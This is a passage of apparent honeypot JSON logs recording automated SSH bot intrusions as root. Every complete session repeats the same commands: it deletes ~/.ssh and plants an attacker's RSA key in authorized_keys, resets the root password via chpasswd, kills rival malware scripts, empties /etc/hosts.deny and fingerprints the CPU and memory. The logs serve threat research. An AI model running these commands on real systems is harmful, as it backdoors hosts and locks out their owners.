-l"},{"seq":16,"at":"2026-08-26T22:48:01.493119+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:48:03.615719+00:00","kind":"output","latency_ms":null,"data":" 22:48:03 up 6 days, 19:38, 0 user, load average: 0.11, 0.14, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:48:03.683438+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:48:05.582481+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:48:05.652371+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:48:06.841135+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:48:06.908865+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:48:08.656274+00:00","kind":"output","latency_ms":null,"data":"top - 22:48:08 up 6 days, 19:38, 0 user, load average: 0.11, 0.14, 0.07\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:48:08.723416+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:48:10.556344+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:48:10.627056+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:48:11.541782+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:48:11.610296+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:48:13.060831+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:48:13.131028+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:48:14.375145+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:48:14.443867+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:48:15.797836+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"pass$123","method":"password","accepted":true,"tier":"other"}]} {"id":"4e719400-061f-4e49-adcd-cf9a46eb27dc","name":"candid-diligent-cougar","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":41206,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:40:30.789721+00:00","ended_at":"2026-08-26T22:40:31.645165+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:40:10.802095+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:40:10.869382+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:40:12.976165+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:40:14.743058+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:40:14.812284+00:00","kind":"input","latency_ms":null,"data":"echo \"root:FrUhzRalC4a1\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:40:14.880688+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:40:14.948286+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:40:15.735152+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:40:17.124255+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T22:40:17.191709+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T22:40:18.449661+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:40:18.518936+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:40:20.356555+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:40:20.431021+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:40:21.629840+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:40:21.698658+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:40:22.821639+00:00","kind":"output","latency_ms":null,"data":" 22:40:22 up 6 days, 19:30, 0 user, load average: 0.03, 0.02, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:40:22.889634+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:40:24.582115+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:40:24.651565+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:40:26.366150+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:40:26.438104+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:40:26.780829+00:00","kind":"output","latency_ms":null,"data":"top - 22:40:26 up 6 days, 19:30, 0 user, load average: 0.03, 0.02, 0.03\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:40:26.848483+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:40:27.714018+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:40:27.783078+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:40:28.682573+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:40:28.753403+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:40:29.481337+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:40:29.548376+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:40:30.721663+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:40:30.790281+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:40:31.636741+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"132132","method":"password","accepted":true,"tier":"other"}]} {"id":"234121c6-c9e6-48f3-b120-fc8473397bec","name":"prairie-thawing-blackbird","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":50274,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:36:31.926723+00:00","ended_at":"2026-08-26T22:36:33.135610+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:36:07.065031+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:36:07.131921+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:36:10.034918+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:36:11.403194+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:36:11.470457+00:00","kind":"input","latency_ms":null,"data":"echo \"root:o0E1oPkLWIWD\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:36:11.535536+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:36:11.601165+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:36:12.423366+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:36:13.613109+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T22:36:13.678692+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T22:36:14.482889+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:36:14.552661+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:36:16.103471+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:36:16.171707+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:36:17.925815+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:36:17.993369+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:36:20.031840+00:00","kind":"output","latency_ms":null,"data":" 22:36:20 up 6 days, 19:26, 0 user, load average: 0.08, 0.08, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:36:20.099444+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:36:21.765222+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:36:21.831118+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:36:23.407149+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:36:23.478318+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:36:24.697304+00:00","kind":"output","latency_ms":null,"data":"top - 22:36:24 up 6 days, 19:26, 0 user, load average: 0.08, 0.08, 0.08\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:36:24.763649+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:36:26.909791+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:36:26.975410+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:36:27.997846+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:36:28.065710+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:36:29.870230+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:36:29.937497+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:36:31.859134+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:36:31.927501+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:36:33.124939+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"scooter","method":"password","accepted":true,"tier":"other"}]} {"id":"8889b794-3420-499b-ba77-e0fca6219a78","name":"bitter-vernal-plover","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":51584,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:32:36.517304+00:00","ended_at":"2026-08-26T22:32:37.388096+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:32:12.670691+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:32:12.736587+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:32:14.862896+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:32:16.199065+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:32:16.265725+00:00","kind":"input","latency_ms":null,"data":"echo \"root:CSGPol6lW6LU\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:32:16.332853+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:32:16.398789+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:32:18.028284+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:32:18.069965+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T22:32:18.138008+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T22:32:19.453514+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:32:19.522180+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:32:20.948642+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:32:21.018836+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:32:21.905136+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:32:21.971743+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:32:24.058910+00:00","kind":"output","latency_ms":null,"data":" 22:32:24 up 6 days, 19:22, 0 user, load average: 0.13, 0.11, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:32:24.127379+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:32:25.741628+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:32:25.810830+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:32:26.675005+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:32:26.745806+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:32:28.679462+00:00","kind":"output","latency_ms":null,"data":"top - 22:32:28 up 6 days, 19:22, 0 user, load average: 0.13, 0.11, 0.13\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:32:28.747791+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:32:30.498202+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:32:30.564535+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:32:32.020742+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:32:32.093356+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:32:34.209897+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:32:34.244463+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:32:36.439747+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:32:36.520298+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:32:37.379108+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"adm12345","method":"password","accepted":true,"tier":"other"}]} {"id":"f13ddc6a-8276-4281-b3e3-e91d11f18595","name":"fringed-canny-pheasant","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":48524,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:28:36.867877+00:00","ended_at":"2026-08-26T22:28:38.389448+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T22:28:23.615740+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:28:23.684132+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:28:26.392284+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:28:27.146755+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:28:27.214616+00:00","kind":"input","latency_ms":null,"data":"echo \"root:W9s20VHwcug3\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:28:27.283928+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:28:27.351709+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:28:28.006103+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:28:28.074604+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T22:28:28.873918+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:28:28.944952+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T22:28:30.345145+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T22:28:30.414637+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T22:28:31.183043+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T22:28:31.251653+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T22:28:32.111677+00:00","kind":"output","latency_ms":null,"data":" 22:28:32 up 6 days, 19:18, 0 user, load average: 0.2, 0.17, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T22:28:32.180474+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T22:28:32.656303+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T22:28:32.723784+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T22:28:33.170075+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T22:28:33.239285+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T22:28:33.616147+00:00","kind":"output","latency_ms":null,"data":"top - 22:28:33 up 6 days, 19:18, 0 user, load average: 0.2, 0.17, 0.22\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 